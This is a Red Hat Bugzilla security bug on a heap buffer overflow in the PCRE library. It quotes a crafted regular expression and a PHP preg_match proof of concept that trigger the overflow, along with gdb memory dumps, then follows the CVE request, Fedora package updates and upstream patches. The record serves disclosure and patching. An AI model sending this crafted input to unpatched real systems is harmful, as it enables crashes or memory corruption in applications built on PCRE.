Bug 1250943

Summary:	pcre: heap buffer overflow with a crafted regular expression
Product:	[Other] Security Response	Reporter:	Vasyl Kaigorodov <vkaigoro>
Component:	vulnerability	Assignee:	Red Hat Product Security <security-response-team>
Status:	CLOSED DUPLICATE	QA Contact:
Severity:	medium	Docs Contact:
Priority:	medium
Version:	unspecified	CC:	adam.stokes, andrew, carnil, erik-fedora, jorton, lkundrak, mmaslano, ppisar, rcollet, slawomir, wby+redhat, webstack-team
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
Whiteboard:
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2016-02-22 12:44:21 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Embargoed:
Bug Depends On:	1250946, 1250947
Bug Blocks:	1250945

Description Vasyl Kaigorodov 2015-08-06 11:08:48 UTC

The following issue was reported in PCRE (https://bugs.exim.org/show_bug.cgi?id=1667):

"""
Latest version of PCRE is prone to a Heap Overflow vulnerability which could caused by the following regular expression.

/(?J:(?|(:(?|(?'R')(\k'R')|((?'R')))H'Rk'Rf)|s(?'R'))))/

To reproduce the problem, we could use pcretest provide by PCRE library or applications which is wrapped with PCRE such as PHP.
For pcretest, simply type the regular expression after the re>
For PHP, latest version of PHP 5.6.11 (wrapped with PCRE 8.37) could be triggered by following code snippet:

<?php
preg_match("/(?J:(?|(:(?|(?'R')(\k'R')|((?'R')))H'Rk'Rf)|s(?'R'))))/","ADLAB",$arr);
?>

First, pcre_compile2 invoke compile_regex() to calcuate the size of memory that is used to save the regular expression.
re then points to the new allocated memory with the size above.
Next, pcre_compile2 invoke compile_regex() again to fill the regular expression into the allocated memory.
The problem here is that more data is written then expected.

Following test is conveyed under Ubuntu 14.10 x64 with php 5.6.11:
==============================================================
gdb php poc.php
9292    re = (REAL_PCRE *)(PUBL(malloc))(size);
(gdb) print size
$2=184
(gdb) n
9293    if (re == NULL)
(gdb) x/x $rax
0x1f87050:      0x78
(gdb) c
9368    *code = OP_BRA;
9369    (void)compile_regex(re->options, &code, &ptr, &errorcode, FALSE, FALSE, 0, 0,
9370      &firstchar, &firstcharflags, &reqchar, &reqcharflags, NULL, cd, NULL);
==============================================================

So the expected size of the above regular expression is 184.
And the base address of allocated memory is 0x1f87050.
Here is the layout of 0x1f87050 just before the second compile_regexp:

==============================================================
(gdb) x/192b 0x1f87050
0x1f87050:     [0x45    0x52    0x43    0x50    0xb8    0x00    0x00    0x00
0x1f87058:      0x00    0x00    0x00    0x00    0x00    0x04    0x00    0x00
0x1f87060:      0xff    0xff    0xff    0xff    0xff    0xff    0xff    0xff
0x1f87068:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f87070:      0xff    0xff    0x40    0x00    0x04    0x00    0x03    0x00
0x1f87078:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f87080:      0x30    0x77    0xf8    0x01    0x00    0x00    0x00    0x00
0x1f87088:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f87090:      0x00    0x02    0x52    0x00    0x00    0x03    0x52    0x00
0x1f87098:      0x00    0x01    0x52    0x00    0x00    0x00    0x00    0x00
0x1f870a0:      0xff    0xff    0xff    0xff    0x00    0x00    0x00    0x00
0x1f870a8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f870b0:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f870b8:      0xa0    0x76    0x34    0xf7    0xff    0x7f    0x00    0x00
0x1f870c0:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f870c8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f870d0:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f870d8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f870e0:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f870e8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f870f0:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f870f8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f87100:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00]
0x1f87108:      0x11    0x01    0x00    0x00    0x00    0x00    0x00    0x00
==============================================================

After the second compile_regexp:

==============================================================
(gdb) x/192b 0x1f87050
0x1f87050:     [0x45    0x52    0x43    0x50    0xb8    0x00    0x00    0x00
0x1f87058:      0x00    0x00    0x00    0x00    0x00    0x04    0x00    0x00
0x1f87060:      0xff    0xff    0xff    0xff    0xff    0xff    0xff    0xff
0x1f87068:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f87070:      0xff    0xff    0x40    0x00    0x04    0x00    0x03    0x00
0x1f87078:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f87080:      0x30    0x77    0xf8    0x01    0x00    0x00    0x00    0x00
0x1f87088:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1f87090:      0x00    0x02    0x52    0x00    0x00    0x03    0x52    0x00
0x1f87098:      0x00    0x01    0x52    0x00    0x83    0x00    0x6e    0x83
0x1f870a0:      0x00    0x68    0x83    0x00    0x55    0x81    0x00    0x4f
0x1f870a8:      0x85    0x00    0x49    0x00    0x01    0x1d    0x3a    0x83
0x1f870b0:      0x00    0x1e    0x85    0x00    0x05    0x00    0x02    0x78
0x1f870b8:      0x00    0x05    0x81    0x00    0x10    0x85    0x00    0x0a
0x1f870c0:      0x00    0x03    0x73    0x00    0x00    0x00    0x03    0x78
0x1f870c8:      0x00    0x0a    0x78    0x00    0x10    0x77    0x00    0x13
0x1f870d0:      0x85    0x00    0x0d    0x00    0x02    0x85    0x00    0x05
0x1f870d8:      0x00    0x03    0x78    0x00    0x05    0x78    0x00    0x0d
0x1f870e0:      0x78    0x00    0x31    0x1d    0x48    0x1d    0x27    0x1d
0x1f870e8:      0x52    0x1d    0x6b    0x1d    0x27    0x1d    0x52    0x1d
0x1f870f0:      0x66    0x78    0x00    0x49    0x78    0x00    0x4f    0x77
0x1f870f8:      0x00    0x0d    0x1d    0x73    0x85    0x00    0x05    0x00
0x1f87100:      0x01    0x78    0x00    0x05    0x78    0x00    0x62    0x78]
0x1f87108:     *0x00   *0x68   *0x78   *0x00   *0x6e    0x00    0x00    0x00

==============================================================

Obviously, at least 5 more bytes are written on the heap in this case.
This overflow can be used to modify adjacent length field of array/vector/string, gaining the attacker the ability to read/write the whole memory 
in the context of the affected application (The same trick as CVE-2013-0634).
"""

Comment 1 Vasyl Kaigorodov 2015-08-06 11:10:27 UTC

CVE request: http://seclists.org/oss-sec/2015/q3/295

Comment 2 Vasyl Kaigorodov 2015-08-06 11:10:45 UTC

Created pcre tracking bugs for this issue:

Affects: fedora-all [bug 1250946]

Comment 3 Vasyl Kaigorodov 2015-08-06 11:10:47 UTC

Created mingw-pcre tracking bugs for this issue:

Affects: fedora-all [bug 1250947]

Comment 4 Fedora Update System 2015-08-13 16:57:33 UTC

pcre-8.37-3.fc22 has been pushed to the Fedora 22 stable repository.  If problems still persist, please make note of it in this bug report.

Comment 5 Adam Mariš 2015-08-19 11:07:21 UTC

Upstream patch:

http://vcs.pcre.org/pcre/code/trunk/pcre_compile.c?r1=1584&r2=1585
http://vcs.pcre.org/pcre/code/trunk/pcre_internal.h?r1=1585&r2=1584&pathrev=1585

Comment 6 Stefan Cornelius 2015-08-24 15:31:44 UTC

Looks like this was introduced between version 8.33 and 8.34. I didn't track down the exact commit, but http://vcs.pcre.org/pcre/code/trunk/pcre_compile.c?r1=1360&r2=1361 could be a candidate.

Comment 7 Fedora Update System 2015-08-26 04:25:15 UTC

pcre-8.37-4.fc23 has been pushed to the Fedora 23 testing repository. If problems still persist, please make note of it in this bug report.\nIf you want to test the update, you can install it with \n su -c 'yum --enablerepo=updates-testing update pcre'. You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2015-14229

Comment 8 Fedora Update System 2015-08-26 17:24:45 UTC

pcre-8.35-14.fc21 has been pushed to the Fedora 21 testing repository. If problems still persist, please make note of it in this bug report.\nIf you want to test the update, you can install it with \n su -c 'yum --enablerepo=updates-testing update pcre'. You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2015-14242

Comment 9 Fedora Update System 2015-08-27 17:56:58 UTC

pcre-8.37-4.fc23 has been pushed to the Fedora 23 stable repository. If problems still persist, please make note of it in this bug report.

Comment 10 Fedora Update System 2015-09-11 18:48:41 UTC

pcre-8.35-14.fc21 has been pushed to the Fedora 21 stable repository. If problems still persist, please make note of it in this bug report.

Comment 11 Tomas Hoger 2016-02-22 12:44:21 UTC


*** This bug has been marked as a duplicate of bug 1287690 ***